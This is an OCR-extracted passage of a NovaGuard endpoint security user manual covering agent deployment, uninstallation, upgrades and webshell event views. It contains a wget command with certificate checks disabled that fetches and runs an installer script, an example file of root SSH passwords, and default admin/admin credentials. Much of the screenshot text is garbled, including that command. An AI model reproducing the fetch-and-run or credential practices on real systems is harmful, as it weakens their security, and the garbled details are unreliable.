1. Download the Linux bulk deployment too

2. Deploy agents according fo the deployment guide. Download Deployment Guide

3. After being installed, the agent will automatically connect to this manager.

Agent Installation on Virtual Machines

h ‘ Deploy VMs from a template that has the agent instalied

b) As shown in the following figure, the tool consists of a configuration
file named config.txt and two main programs named
InstallMain32.exe and InstallMain64.exe that run on 32-bit Windows

and 64-bit Windows.

Version 02 (Jul. 18, 2025) 68



NovaGuard_V6.0.4R4_User Manual

& | linux_batch_deployment_doc.pdf

v LinuxAgentinstall_Windows

InstallMain32.exe
InstallMain64.exe

c) Edit the configuration file.
Add the collected root account usernames and passwords of the Linux
servers where the NovaGuard agent is to be installed to config.txt in

the format of "Linux_IP SSH_port username password", as shown in

the following figure.

4p config.txt
192.168.0.168 22 root password

192.168.9.181 22 root password2
192.168.0.162 22 root p355wﬂrdﬂ

d) Run the tool.
Run InstallMain64.exe or InstallMain32.exe. For example, to run

InstallMain64.exe, execute "InstallMain64.exe [Manager IP]", as

shown in the following figure.

e) Verify the installation.
Wait for 10 to 30 minutes for the installation to finish. The installation

69
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duration varies with the number of endpoints where the NovaGuard
agent is being concurrently installed. Once the NovaGuard agent is
installed successfully, you can find the online Linux servers on the

Endpoint > Endpoint Groups page of the NovaGuard manager.

LLNoTE

1. Put the configuration file and InstallMain64.exe in the same directory, and keep the

configuration file name to "config.txt".

2. During the bulk installation via the deployment tool, Linux servers will download the
NovaGuard agent installer from NovaGuard manager. Limit the number of endpoints to
avoid excessive bandwidth usage due to bulk installation and ensure stability. If the
bandwidth is 100 Mbit/s, limit the number of endpoints to 5 in a bulk installation. If the
bandwidth is 1,000 Mbit/s, limit the number of endpoints to 60 in a bulk installation.

3. After the installation is complete, clear the content of config.txt and delete the file to avoid

password leakage.

2.3.3.5 Installation on Virtual Machines

In virtualization environments, administrators can convert a virtual machine
with NovaGuard agent installed into a template, from which virtual machines
can be created in bulk. Go to System > Agent Deployment > Agent
Download, select Linux, and click Agent Installation on Virtual Machines in

Bulk Deployment, as shown in the following figure.
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Agent Download

@

Windows & macOS

Agent Installation Prerequisites:

1. Requirements for Manager- Ensure that the manager has been successfully deployed and that the manager license has been activated

2. Requirements for Agent Nety
- TCP port 4430 (for agent component and antivirus database updates)
- TCP pori 8083 (for communication between the agent and the manager)
- TCP port 54120 {an emergency channel for enabling or disabling the agent on the manager)

» General Deployment Deploy ager

Agent Installation via Command Line

Install the agent from the command line on the endpoint

Redirection to Agent Installer Download Page

<]

Distribute a link to a webpage containing the installer to notify users to downiead and install the agent

¢+ Bulk Deployment

Agent Installation via Linux Bulk Deployment Tool

)

Bulk deploy agents by sending and executing a shell script

Agent Installation on Virtual Machines

Deploy ViMs from a template that has the agent installed

)

1. Create a virtual machine and install the agent on the virtual machine.
2. Run export LD_LIBRARY_PATH=/sfledriagent/iib;/si’edrfagent/bin/clone_tool.
3. Export the virtual machine as a template (.ova, .ovi, vma, etc}

4. Use the VM template to deploy virtual machines with the agent installed

.

Step 1. Download the installer for standard installation following the

instructions in Section 2.4.3.1. The endpoint will go online once the installation

is complete.

Groups

BAn
B

S ors: All Assets (2 online / 2 in total)
More Refresh
Assets
Local Manager No. | Endpoint Name Endpoint Type  Agent Status Group 1P Address MAC Address 0s
Ungrouped Assets 1 & localnostlocald...  Server @ onine ungroup... [ FA-16-3E-83..  CentOS Linux
2 1 DESKTOP-02...  PC @ oniine Ungroup FA-16:3E-09...  Windows 10 &

Step 2. Before exporting a virtual machine, run clone_tool under the

¢ Communication: Before installing the agent, make sure that the agent can connect to the following network ports of the manager -

New Features

Men -
" Usearmo

i Used/To

"xxx/bin/" NovaGuard agent installation directory as the super administrator to

ensure that the NovaGuard agent IDs of the created virtual machines are

unique.

Run

export LD_LIBRARY_PATH=/sf/edr/agent/xs_agent/lib and cd

/sf/edr/agent/bin/ to go to the installation directory. Then, run ./clone_tool as the
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super administrator and wait for the prompt "create copying flag success" to

appear.

[rootRlocalbost hinld cxport LD_LIBERARY_PATH=-sf edr-agent =zs_agents11b
[root@localhost hinld .-7clone _tool

create copying flag success
[rootRlocalhost binld
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Step 3. Export the virtual machine. In this example, we will use the ForeNova

HCl for demonstration.

Take Snapshot +  Migrate

Back Up +  Migrate to VMware vCenter
Clone Migrate Across Clusters

Export
Edit i

Power On Shut Dawn Summary
: Backup/CDP Policy

Console More More]

Snapshots

Backups

Assign Permissions

Delete

Step 4. Select a file format. OVA is recommended.

Export VM (EDR_3712_20 69_@support123) X

Mote: File export consumes physical resources. Exported virtual machine can be imported into

both Hyper-Converged Infrastructure and VMware vCenter

File Format: | OVA =

Version: ] x

Cancel

Step 5. Once the OVA file is exported, you can use it to create virtual

machines with NovaGuard agent installed.
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Converting disk...

0% Cancel

@ If export takes a long time, close the window or browser and log in again. Then click Export to check the export progress.

2.3.4 Deployment on macOS

You can install the NovaGuard agent on macOS in two ways: installation on

physical machines and redirection to the NovaGuard agent installer download

page.

2.3.4.1 Installation on Physical Machines

Administrators can download the NovaGuard agent installer locally and deliver

it to users via portable devices and network sharing.

Go to System > Agent Deployment > Agent Download, select Mac, and click
Agent Installation on Physical Machines > Download, as shown in the

following figure.

Agent Download

23 Windows A Linux m

@ Agent Instaliation Prerequisites:

1. Require r Manager: Ensure that the manager has deployed and that the manager license has been activated

2. Requirements for Agent Nelwork Communication: Befo gent, make sure that the agent can connect to the following network poris of the manager
- TCP port 4430 (for agent component and antivirus database updates)

- TCP port 8083 (k
- TCP port 54120 (an emergency channel for enabling or disabling the agent on the manager)

imunication between the agent and the manager)

General Deployment Cepi

Agent Installation on Physical Machines

b Download the agent installer locally and deliver it to users via USB device, network sharing, efc.

o Configure groups
Group | Ungrouped Assels -

Endpoints > Endpoint Groups

o Install the agent

1. Click the button below to downioad the installer.

2. Copy the installer to the targat computer

3. Double-ciick the installer and install the agent

4. After being installed, the agent wil automatically connect to this manager.

@ Do not change the installation package name; The agent is incompatible with other antivirus software

Please uninstall other antivirus software first
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INoTE

The name of the installation package for macOS (NovaGuard_[Manager IP]_4430.exe)

contains the NovaGuard manager IP address. Do not change the installer's name.

Double-click the installer and follow the wizard's prompts, as shown in the

following figure.

& & Install Athena EPP Manager

Welcome to the Athena EPP Manager installer

TS You will be guided through the steps necessary to install this
software,

Continue

@ Install Athena EPP Manager

Installing Athena EPP Manager

Introduction

License

Destination Select

Installation Type
® Installation

Running package scripts...

& P
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After the installation, you can find the icon of the NovaGuard agent in the

macOS menu bar, as shown in the following figure.

@ Finder Fie Gt Vew Go Window Hep

2.3.4.2 Redirection to the Agent Installer Download Page

Administrators can distribute a link to the installer download webpage to user
endpoints via channels such as email and OA to the users to download and

install the NovaGuard agent.

Go to System > Agent Deployment > Agent Download, select Mac, and click
Redirection to Agent Installer Download Page, as shown in the following

figure.

Agent Download

28 Windows A Linux m

@ Agent Installstion Prerequisites
1. Requirements f

2. Requirem
-TCP

- TGP port 80!

er: Ensure that the mar

and that the manager license has been activated,

Network Communication: B: a make sure that the agent can connect to the following network ports of the manager
i compoenent and antivirus ase upd

communication between the agent and the manag

~TCP port 54120 (an emergency channel for enabling or disabling the agent on the manager)

General Deployment

Agent Installation on Physical Machines

w Dewnload the agent installer locally and deliver it to users via USB device, nefwork sharing, efc.

Redirection to Agent Installer Download Page

« s ” Disliribute a link to 2 webpage containing the installer to notify users to downioad and install the agent

@ Customize titie and contents
Enter title and content to generate a link

NovaGuard Agent Installation

For the cybersecurity of our organization and its devices, we require all computers fo be installed with the
MNovaGuard agent

Next Preview (The title: cannot exceed 120 characters, and the content cannot exceed 800 characters)

Enter a title and the content on the Customize title and contents page and

click Next to generate a link, as shown in the following figure.
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Agent Download

=2 Windows A Linux

(@ Agent Instaliation Prerequisites:

- TCP port 4430 (fc
- TCF port 8083 (
- TCP port 54120 (an emergency channel for enabling or disabling the agent on the manager)

agent component and antivirus database updates)
mmunication between the agent and the manager)

+ General Deployment

Agent Installation on Physical Machines

Download the agent installer locally and deliver it to users via USB device, network sharing, etc.

Redirection to Agent Installer Download Page

Customize titie and contents @ Distribute link to client computers

Copy and distribute the link below to users via email, OA, elc.

hitps://10.65.168.122:4430/uifweb_install php?c=5631894710ch0eb781e08aaa4ch20/6ddss (e v1d

Back

1. Requirements for Manager: Ensure that the manager has been successfully deployed and that the manager license has been activated

Distribute a link to & webpage containing the instalier to notify users to download and install the agent.

2. Requirements for Agent Network Communication: Before installing the agent, make sure that the agent can connect to the following network porls of the manager

‘The link expires in 90 days. After it expires, you need fo generate a new one. To madify the validity period. go to Deployment and Uparade (A new link needs to be generated after the modification)

Generate Again © Expires in 90 days

Distribute the link to endpoints as an administrator via email, OA, or other

channels for users to download and install the NovaGuard agent, as shown in

the following figure.

NovaGuard Agent Installation

For the cybersecurity of our organization and its devices, we require all

compuers to be installed with the NovaGuard agent.

Windows

1. Click the button and select an installation method: Manual Installati
on or Silent Installation.

2. Copy the installer to Windows computers.

3. Double-cliek the Installer and install the agent.

4. Wait for the installation process to complete and for the client to
connect to the server.

© The installation package name
(NovaGuard_installer_10.65.168.122_4430_silence exe) contains

server IP address and therefore cannot be changed.

2.3.5 Pre-installation

mac0$

1. Click the button below to download the installer
2. Copy the installer to the target computer.
3. Double-click the installer and install the agent.
4. Waitfor the installation process to complete and for the client to
connect to the server
© Do not change the installation package name.

The agentis incompatible with other antivirus software. Please

uninstall other antivirus software first

Linux

1.Copy and execuite the following command on endpoints:
wget —no-check-certificate
hitps://10.65.168.122:4430/download_installer_linux.php-0

linux_NovaGuard_installer.tar g2 8& tar xav

linux_NovaGuard installertar gz 84./agent_installer:sh <

2. Wait for the installation process to complete and for the client to
connectto the server

© Please make sure the version of the wget tool on Linux OSis 1.14 or
later versions, or contact administrator to modify the configuration.

Pre-installation refers to a process of installing an operating system and

necessary computer components before delivering them to the customer. To

reduce the workload, create an image from a computer with the operating
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system and essential components and install it on other computers in bulk

using that image. The procedure for pre-installing the NovaGuard agent is as
follows:

1. Confirm with the customer the IP address to be assigned to the
NovaGuard manager. Please note that the IP address cannot be changed.

2. Select an installer compatible with the CPU architecture and operating
system of the customer's computers, and replace the IP address in the
installer name with the NovaGuard manager IP address, which the
customer confirmed in Step 1.

Install the NovaGuard agent.

4. Prepare the template environment before exporting a virtual machine.
Execute clone_tool under the "xxx/bin/" NovaGuard agent installation
directory as an administrator to ensure that the NovaGuard agent IDs of
the created virtual machines are unique. The execution method varies
with the operating system of the computer. For details, see Sections
2.4.2.8 and 2.4.3.6 Installation on Virtual Machines.

5. Create an image for pre-installation, and pre-install the operating system

and necessary components on other computers in bulk by using that
image.

A NOTICE

Strictly follow the pre-installation procedure. Otherwise, extra work may be required.
For example, suppose the operating system and necessary components are pre-installed on
computers without confirming the assigned IP address of the NovaGuard manager. In that
case, the computers can connect to the NovaGuard manager only after the assigned IP

address is specified on each of them.

2.3.6 Verification of Installation

After the installation, the NovaGuard agent will automatically connect to the
NovaGuard manager. You can find the online endpoints on the Endpoint >

Endpoint Groups page of the NovaGuard manager, as shown in the following
figure.
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Groups New More All Assets (2 online / 2 in total) New Features
More v Refresh
B AllAssets m
B Local Manager No. | Endpoint Name Endpoint Type | Agent Status Group 1P Address MAC Address  OS CPU Usage Men -
Ungrouped Assets 1 d localhostlocald...  Server @ Online Ungroup. [ ] FA-16-3E-83. CentOS Linux . u.semo
2 J DESKTOP-02 PC ® Online Ungroup. FA-16-3E09.. Windows 10%.. e Usedrto

2.3.7 Uninstallation of Incompatible Third-Party
Antivirus Software

When you install the NovaGuard agent on an endpoint, NovaGuard
automatically detects and uninstalls third-party antivirus software that is

incompatible with the NovaGuard agent on the endpoint during the agent

installation process.

Modify the file name of the agent installation file and add the suffix _RTS at the
end. It will uninstall the third-party EDR when the agent is installed. Otherwise,
it will not uninstall the third-party EDR.

NovaGuard

Ultimate Security in 3 Lightweight Client

The following software applications could not be uninstalled. Please uninstall them manually.

Trend Micro Worry-Free Business Security Agent (Version: 20.0.1059) Uninstall

Trend Micro Worry-Free Business Security Standard (Version: 10.0.0.1370) Uninstall

COpen NovaGuard
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2.4 NovaGuard Agent Uninstallation

2.4.1 Uninstall from a Windows Endpoint

Open the Start menu of the Windows endpoint, find the NovaGuard agent,
click Uninstall NovaGuard agent, right-click the NovaGuard agent, select
Uninstall, and follow the uninstallation prompts, as shown in the following

figure.

Notepad++ Pin to Start
l NovaGuard

Uninstall
@ NovaGuard Run as administrator

Open file location
@ Uninstall NovaGuart.

sy
bl -

On the uninstallation page that appears, click Uninstall.

NovaGuard

Ultimate Security in a Lightweight Client

Uninst n and control

ed?

Wait for the following prompt page to appear.
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o

NovaGuard

Ultimate Security in a Lightweight Client

Enterthe uninstallation pa

OK Cancel

otained from ForeMova Endpoint Secure admin

LLINOTE

NovaGuard agent uninstallation requires the uninstallation password, which you can find in

Policies > General Policies > Basic Config > Agent Administration Passwords.

General Policies

Groups

Ungrouped Assets

| Administrator Contact Information
Show contact information of administrator on Agent @

Admin Name

Mobile Number :

Email Address

| Notifications &

Mute notifications

| Agent Administration Passwords /

Exit Password

Password: | eeeens wet|  Change Password

Uninstallation Password
Password: e we|  Change Password
Trust Zone Password

Password

BasicConfig  Anti-Malware  Realtime Protection  Anti-Ransomware  Trust List
- ttem Department Owner AssetName  Phone Number  Email Address
51 [ Al Assets =
=] B Local Manager Required

Vuln Remediation

Staff No.

Enter the uninstallation password, click OK, and wait for the uninstallation to

complete.
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NovaGuard

Endpoint Secure will not protect you any more

Uninstalling

The uninstallation is complete once the following prompt appears.

Finish

We will do better in the future.

2.4.2 Uninstall from a Linux Endpoint

On the command line of the Linux endpoint, go to the NovaGuard agent
directory "/sf/edr/agent/bin", and run the uninstallation command

eps_uninstall.sh, as shown in the following figure.
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uch file or direc

TPTPATH/ 1pc_proxy

cLe
art c

uldn't load t

‘iptab -
: Couldn't load t

o
/ that nam
that nam
that nam
/ that nam

Jedr/agent/bin/ o such file or directory

The uninstallation is complete once the prompt "edr agent uninstall

success!!" appears.

2.4.3 Uninstallation on NovaGuard Manager

On the NovaGuard manager, go to Endpoint > Endpoint Groups and select
the endpoint from which you want to uninstall the NovaGuard agent. Click

Uninstall Agent, as shown in the following figure.

Endpoint Group
Groups New More  All Assets (4 online /8 i total) New Features
MovetoOther Group | v EnableAgent v Remote Support More v || Refresh
B Anlassets E
B Local Manager @ No. | Endpoint Name Endpoint Group IPAddress  MACAddress  OS CPU Usage Memory Usage
Ungrouped A 1 P sed  Ungroup.. 1 FA16-3E-FC...  UnionTech OS e X M
L branen 2 sener ungroup FAIGIESS. CentOS Linux e =
s e ungroup FATGSESS. Vindons 0P e S
Byp
. dESKTOPO2.. e womme  ungrow 60 o 10T e e T
g s DESKTOP-00. PC @ Oniine Ungroup. 00-E0-4C-A3.. Windows 10%... e e
LLINoTE

You can uninstall the NovaGuard agent in Online or Disabled status, and the endpoints

must be able to receive the policies distributed from the console. The uninstallation will
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automatically start silently in the background after the NovaGuard agent on the endpoint

receives the uninstallation command.

Click OK in the confirmation window.

Uninstall Agent X

Are you sure you want to uninstall the agent on the
1 selected devices?

The devices will no longer be protected by Athena EPP.

DESKTOP-00OOHD4L View More

Are you sure you want to uninstall the agent

on the 1 selected devices?

Wait for the prompt "Operation successful" to appear on the NovaGuard

manager.

Groups New More  All Endpoints (2 online /4 in total) Drivers not updated on Windows 7/Server 2008Nista? @1
© Operation successt
| overo | v h Support mutate sondtions
B B Menponss | e engport e (ensaus Gmp  Paes  MGAMess o < cPUUse | Wemay Usane

21 B Local Manager 1 QR WINPELSIETUY Sarvers ® onine B ooupt 107410338 FEFCFESCATS  Windows Server 20, 0 ]

Ungrouped Endpoints 0 2 @Awe Host © AgentUninstal. Ungrouped End. 107410318 FEFCFEZI2346  WindowsiOEdwa. 0% oumunane

[£] Domain contol synchronizaion... I 31 Gebian Serers ® ofine Ungrowped End . 10645128 FEFCFEDSTI-SD  Detian GNULInu O L
groupt [ 4 @izueMacminilosal Hast ® onine. 220010029 6453590 o Bx. et e o

[ second

The uninstallation is complete once the status of the endpoint becomes Agent

Uninstalled.

Groups New More All Endpoints (2 online {4 i total) Drivers not updated on Windows 7/Server 20(
MoweTo | v || Enabledgeni || RemoieSupport || More v || Refiesh Support multple conditons
[} [ Al Endpoints No. | Endpoint AssetType Agent Status Group 1P Address MAC Address os CPUUsage Wem
(57 B Local Manager 1 @ [E WINPELAGIBTUZV Servers ® oniine & groupt 107410338 FE-FC-FE-SC-A1-T5 Windows Server 20... e 5% Toe
5} Domain contrl synchronization 3 g debian Severs  oftine Ungrouped End.. 10645128 FEFCFEDSTIAD  Debian GNULInu % e
groupt 4 [ 1234deMac-mini local Host ® Online Ungrouped End. 200.200.100.29 68-5B-35-89-86-CB Mac 08 X10.136x . 4.83% ;E
Esecond

2.5 Environments
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2.5.1 NovaGuard manager Installation Environment

You can install the NovaGuard manager on your existing operating system. The

requirements are as follows.

Table 1: CPU and Operating System Requirements for NovaGuard manager Installation

x86-64

Ubuntu 20.04 and later

x86-64

CentOS 7 and later

1-2000 6 cores 8 GB 300 GB
2000 - 5000 8 cores 12 GB 500 GB
5000 - 10000 12 cores 16 GB 800 GB

Table 2: Hardware Requirements for Typical NovaGuard manager Installation

1~2500 8 cores 16 GB 500G
2500~5000 12 cores 16 GB 800G
5000~10000 16cores 20 GB 1TB

Table 3: Hardware Requirements for Integrated Installation of

2.5.2 NovaGuard agent Installation Environment

You can install the NovaGuard agent on operating systems such as Windows

PC, Windows Server, Linux, and macOS. The supported operating systems are

NovaGuard Manager and aTrust

in a separate list. Please request by support@forenova.com
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6 cores and 8GB RAM
(recommended 5GB

specifications)

4 cores and 4GB RAM

(minimum specifications)

The Gene Analytic Engine is not
5GB installed by default and needs to

be installed manually.

Hardware Specifications

2.5.3 Network Connectivity Requirements

NovaGuard requires network connectivity between the NovaGuard agent and

the NovaGuard manager and between the NovaGuard manager and the cloud

server. The required ports and server addresses are as follows.

Please request this document by support@forenova.com

File Whitelist Setting

To avoid false positives during virus scans, collect trusted files such as virus-

free business software and previously whitelisted files from other antivirus

products, log in to the NovaGuard manager that you have deployed and

activated, and add the trusted files in Policies > Detection Policies > File

Hashes or Policies > Exclusions. Added trusted files will not be scanned.

Security department
Security tool 62e153936f09ae701770c5ce014f98ff | Alert
group
37bb0bbc1255fdb1693aa45a70bedd
IT O&M tool Allow IT department group
91
6581¢35e063322bc6c4f100c4aa4834 Security department
hacker.exe Alert and Fix
0 group
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The home
/home Server group
folder
Installation
.pkg IT department group
packages

3 Product Upgrade

The upgrade of NovaGuard involves the upgrade of the NovaGuard manager
or NovaGuard agent to a new version and the update of the service packs,

antivirus database, and vulnerability database.

We recommend that you go to System > System > Deployment and Upgrade

and enable P2P upgrade, as shown in the following figure.
Deployment and Upgrade

| Agent and Database Update

Auto Update @ - (®) All endpoints automatically update the agent, signature database, and vulnerability database

Some endpoints automatically update the agent, signature , and vulnerability

Mo endpoint automatically updates the agent, signature database, and vulnerability database
Concurrent Update &) Mo limit on number of endpoinis

(e) Atmost, 5 endpoint{s) can sutomatically update the agent, signature database, and vulnerability database

| Vulnerability Update
Auto Update Manual Update

(&) Auto Update | Everyday ~*  02:00 v to | 0500 b

| P2P Settings
Peer-to-peer networking spesds up insta

Enable P2P for instglafion and upgrade

Non-distribution Endpoints

This feature avoids single-channel file download from the NovaGuard
manager only, which causes slow installation and upgrade and excessive

bandwidth usage.

InoTE

1. P2P deployment is not supported in scenarios where the NovaGuard manager is exposed

to the Internet through port mapping.
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2. P2P upgrade is supported for NovaGuard Windows agent installation, NovaGuard agent

upgrade, and antivirus database update.

3.1 Upgrade to a New Version

3.1.1 Import an Upgrade Package

Pre-upgrade checks

1. Check product licensing
Go to System > Licensing and check whether the license is valid, as shown in
the following figure. If the license has expired, NovaGuard cannot be

upgraded.

Licensing
Licensing

NovaGuard |

Gateway ID

10461

(o0 2025-07-15 10:25:32

Ultimate Edition
6/300 2026-01-11 & months and 0 days
UsedrTotal Licenses Expiration Date Remaining Days

1. Check for custom packages and patches
You must contact technical support if custom packages or patches are
installed. Go to System > System Updates > Manager and Agent to check

whether custom packages and patches have been installed.
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Manager and Agent

Current Version: 5.0.2EN Details

Database: 20230807155958

20230807155958
base: 20230011163934
20230824104912

View Update History

Agentupdate @  Service Packs 20230906075402
e Dalabase: 20230912173026
Refresn 20230807155958
20230821204528
Na Endpoint . 20230830145402 Asset User
Amy pe e 20231010215243 Amy
2: 1.60449
2 § WIN-PELAG1BTU2V Linda
Custom package or patch has been installed
3 1 1234deMac-mini.local No data available
4 win10x64-EN 10.62.31.151
Precautions

After the NovaGuard manager is upgraded, the NovaGuard agent
automatically downloads upgrade files from the NovaGuard manager. To
ensure a stable and efficient NovaGuard agent upgrade, we recommend that

you configure both auto upgrade and concurrent upgrade settings.

1. Auto update

On the Deployment and Upgrade page of the NovaGuard manager, you can
enable auto-update only for some endpoints after the Manager is updated.
After these endpoints are successfully updated, select Agent, antivirus
database, and vulnerability database on all endpoints to enable the update

for all endpoints. It ensures smooth update and system stability.

To configure the settings, go to System > System > Deployment and
Upgrade > Agent and Database Update > Auto Update, as shown in the

following figure.
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Deployment and Upgrade

| Agent and Database Update

Auto Update @ (®) All endpaints automatically update the agent, signature database, and vulnerability database

Some endpoints automatically update the agent, signature database, and vulnerability database

Mo endpoint automatically updates the agent, signature database, and vulnerahility database
Cancurrent Update @ MNa limit an number of endpoints

@ Atmost & endpoint(s) can automatically update the agent, signature database, and vulnerability database

| “ulneratility Update

Auto Update : Manual Update

(®) Auto Update | Every day bt 0z:00 v o 0500 M

| P2P Settings

The decentralized services provided by peer-to-peer netwarking can effectively reduce installation and upgrade time and hoost efficiency.
Enable P2P for installation and upgrade @

Mon-distribution Endpoints @

2. Concurrent update

To avoid network congestion, you can specify the maximum number of

endpoints that can download the NovaGuard agent installer at the same time.

We recommend that you set the maximum number of concurrently updated

endpoints to 5 or less if the network bandwidth is 100 Mbit/s and 30 or less if

the network bandwidth is 1,000 Mbit/s.

To configure the settings, go to System > System > Deployment and

Upgrade > Agent and Database Update > Concurrent Update, as shown in

the following figure.
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The current cannot obtain updated SE, which is unsecun

Deployment and Upgrade

| Agent and Database Update
Auto Update @ (®) Al endpaints automatically update the agent, signature database, and vulnerahility database

Some endpoints automatically update the agent, signature database, and vulnerability database

Mo endpoint automatically updates the agent, signature database, and wulnerahility database

Concurrent Update @ Mo limit on number of endpoints

(® Atmost 5 endpoint(s) can automatically updatg the agent, signature database, and vulnerability database

| vulnerahbility Update
Auto Update © Manual Update

(®) Auto Update | Every day - | | 02:00 o 0500 :

| P2P Settings

The decentralized services provided by peer-to-peer netwaorking can effectively reduce installation and upgrade time and boost efiiciency.
Enahle P2P for installation and upgrade @

Mon-distribution Endpoints @

Excluded IF Addresses @

Procedure

1. Ask the ForeNova Support for the latest package
2. Log into the NovaGuard manager. Go to System > System Updates >
Manager and Agent, and click Import Update Package / SP, as shown in

the following figure.

Manager and Agent

Current Version: 6.0.4ENR4 Detalls
Import Update Package / SP Download the Latest Version

View Update History

Agent Update ®  Service Packs

3. The upgrade process takes about 5 minutes to complete without restarting
the server. After the upgrade, you need to log in to the NovaGuard
manager again and check whether NovaGuard is upgraded to the new

version.

3.2 Update Service Packs

When an NovaGuard service pack is released, the NovaGuard manager can

update it online, or you can manually import the service pack. To view the
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details of service pack update, go to System > System Updates > Manager
and Agent > Service Packs.

Manager and Agent

Agent Update ®  Service Packs

Refresh

Configure service pack update settings
You can specify the method for updating service packs.

Go to System > System Updates > Manager and Agent > Service Packs. Click
Update Options and specify the update method and upgrade server, as

shown in the following figure.

Update Method

tethod ; (®) Auto Update
Manual Update
Update Server @

Server () Default Server

Specified sener

Test Connectivity

If the NovaGuard manager cannot directly connect to the Internet, but the local
computer has Internet access, you can enable a browser proxy, so that the
NovaGuard manager obtains service pack updates through the proxy, as

shown in the following figure.
Proxy Methods

Prosy © Enahle
When your device cannat cannect to the SP server, but your camputer

is connected to the Internet, vou can get the latest 5P via a browser.
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We recommend that you provide an emergency contact, as shown in the
following figure. If we have released an emergency pack, but you do not enable
automatic upgrade, we can contact you at the earliest opportunity to prevent

business interruptions.
Emergency Contact @

Campany
Contact Person
fakile Mumber:

Email Address

3.3 Update the Signature Databases

3.3.1 Update the Antivirus Database

The antivirus database can be updated online and offline.

Online update

By default, if the NovaGuard manager is connected to the Internet, the
antivirus database is automatically updated online.

Offline update

If the NovaGuard manager is disconnected from the Internet, you can
manually update the antivirus database offline by performing the following

steps:

1. Ask ForeNova support for offline packages.

2. Loginto the NovaGuard manager. Go to System > System Updates >
Signature Database Update, and click Import Update Package. Then,
select the antivirus database downloaded in Step 1. After the antivirus
database and engine are imported to the NovaGuard manager, the

NovaGuard agent will automatically update the antivirus database and
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engine, as shown in the following figure.

Signature Database Update

| Agent Database Update

3.3.2 Update the IOA or IOC Database

The IOA or I0C database can be updated online and offline.

Online update

By default, if the NovaGuard manager is connected to the Internet, the

database is automatically updated online.

Offline update

If the Manager is disconnected from the Internet, you can manually update the

database offline by performing the following steps:

1. Ask ForeNova Support for offline packages

2. Log into the NovaGuard manager. Go to System > System Updates >
Signature Database, and click Import Update Package. Then, select the
database downloaded in Step 1. After the IOA or IOC database is
imported to the NovaGuard manager, the NovaGuard agent will
automatically update the IOA or IOC database, as shown in the following

figure.

Signature Database Update

HHHHH

3.3.3 Offline update Signature Database

The Signature Database can be updated offline.
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Signature Databases

| Manager Database Update

10C Database App Signature Database

< W curent Version: 1104163 ' Current Version: 2025070309000

3.4 Update the Vulnerability Database

The vulnerability database can be updated online and offline.

Online update

By default, if the NovaGuard manager is connected to the Internet, the

vulnerability database and patch package are automatically updated online.

Offline update

If the NovaGuard manager is disconnected from the Internet, you can manually

update the vulnerability database offline by performing the following steps:

1. Ask ForeNova Support for offline packages.

2. Log into the NovaGuard manager. Go to System > System Updates >
Vulnerability Database, and click Import Update Package. Then, select
the database downloaded in Step 1. After the database is imported to the
NovaGuard manager, the NovaGuard agent will automatically update the

database, as shown in the following figure.

Vulnerability Database
I Vulnerability Database.

Current Version: 2023092214528

4 Getting Started

4.1 Login Page of NovaGuard manager

To ensure security, you must log in to the NovaGuard manager via the HTTPS
port. Open a browser, enter "https://[NovaGuard_IP]" (the default IP address
is 10.251.251.251), and press Enter.
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LLINoTE

1. When the prompt "The identity of this website or the integrity of this connection

cannot be verified." appears, click Yes.
2. For 6.0.4R2 and earlier versions, the default platform IP address is 10.251.251.251.

3. The browsers such as Internet Explorer 11 or later, Firefox, and Chrome are supported.

The Future of Endpoint Security ©
A one-stop endpoint security solution offering prevention, detection, response, and @

management capabilities.
NovaGuard
It safeguards PCs and servers against threats and viruses and responds to security events
6.0.4EN
from a unified console, reducing operational costs.

z . Z . 1 have read and accept the EULA | DPA

X N
N )

Root CA

Enter the username, password, and verification code in the login boxes and

click Log In.

(noTE

The default username and password are both admin.

Follow the system prompt to change the default administrator password after

the first time login to ensure platform security.

4.2 Detection and Response
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4.2.1 Security Events

4.2.1.1 Overview

This page shows the summary of all recent security events detected (events

detected in the last seven days are displayed by default; you can select a

period). It provides an overview of events detected within the current network,

including the total number of events, affected critical assets,

of events such as web shell attacks and brute-force attacks.

Overview
Detection New Today 15 Response
Aftected Assets
mCritical 0 2
mhigh 0 = i; [ %)
45 = Medium 0
Events o 45 No data available 1 45
o o Gritical Assets Endpoints Unread
AllEvents 45 0
Suspicious Scan ) 0
Export || Wnitelists [7 || Set Crical Assets
Aflected Asset
v No. | LastDetected Severty | Type Description
Assets Status
: , 20 Suspicious The endpoint (10.62.31.151) is launching a scanning atack B 1062:31 S
030658 Sean against another endpoint (40.126.35.20). =
) ,  ame Suspicous  The endpoint(10.6231.151) & launching a canning attack 8§ 106231 o
030658 scan against another endpoint (20.190.163 20). =
, 0 Suspicious The endpoint (10.62 31.151) is launching a scanning attack 0623 i
. « onine
030658 scan against another endpoint (40.126.16.166).
, 20 Suspicious The endpoint (10,62 31.151) is launching a scanning atiack 106231 =
. « onine
030658 scan against another endpoint (20.189.173.12).
5 20031208 Suspicious The endpoint (10.62.31.151) is launching a scanning aftack 106231 5
. « onine

4.2.1.2 WebShell

@ Hide Overview

45

Pending

Engne Detections
[ noe 7
[ Anoe s
[ noe s
[ noe '
[ anoe 7

and a breakdown

Scans and monitors endpoints in real time via the NovaGuard agent for web

shells.

WebShell

Status: Pendng x

Export

Last Detocted

20250714
0u3t10
20250714
093110
20250714
083110
20250714
093110
20250714
093110
20250714
093110
20250714
093110
20250714
023110
20250714
023110
20250714
093110

20250714
023110

Whietsts [ | Realtme Protecton [Z1 | WebShel Directories [/}
Severty | Fie Path Confdence  Aflected Assels
— LE
J rootiebshel1234 pho Hgh
— A
] roothvebshel0e615af5270a1b1 7461 1cH09040CTS o Hin
. A
) frootwebshet22sp Hagh
a
[T /rootmebsheus aspx Hin
o)
| rootiwebsneNOCOO4EES10D1246BA24DESBTEALFIED php Han
- A
J rootmebshen/1235 pho. Hagh
- A
J rootmebsheus aspasp Hah
— A
W rrootiwebshews aspx Hagh
R A
i rootwebsheli2 sp Han
- . A
J Irootmebshewss99 pho. Hih
. A
TON rootmebshel/1236 pho. Han

Last7 days

Assat Status

* Uninstaied

* Uninstaied

+ Uninstated

Uninstated

Uninstated

* Uninstated

* Uninstated

* Uninstaled

* Uninstaled

* Uninstaled

Uninstaed

20250708

Detactions

To 20250714 Refresh every 105

status Fix Method

Penang

Pendng

Penang

Penang

Penang

Penang

Penang

Penang

Penang

Penang

Penang

Show unread events anly

Operation

12 3 4 > Enviespars

a
Last7days 20234130  To  2023-12:06
Status. FixN
E‘. Fixed Manually 0 Fie
Auto Fixed 0 Ax
0 Ignored 0 Dor
Fixed
Whitelisted 0 Eng
0
tion 0
‘Show unread events only
ATT&CK @ Status Fix Method
1hits Pending
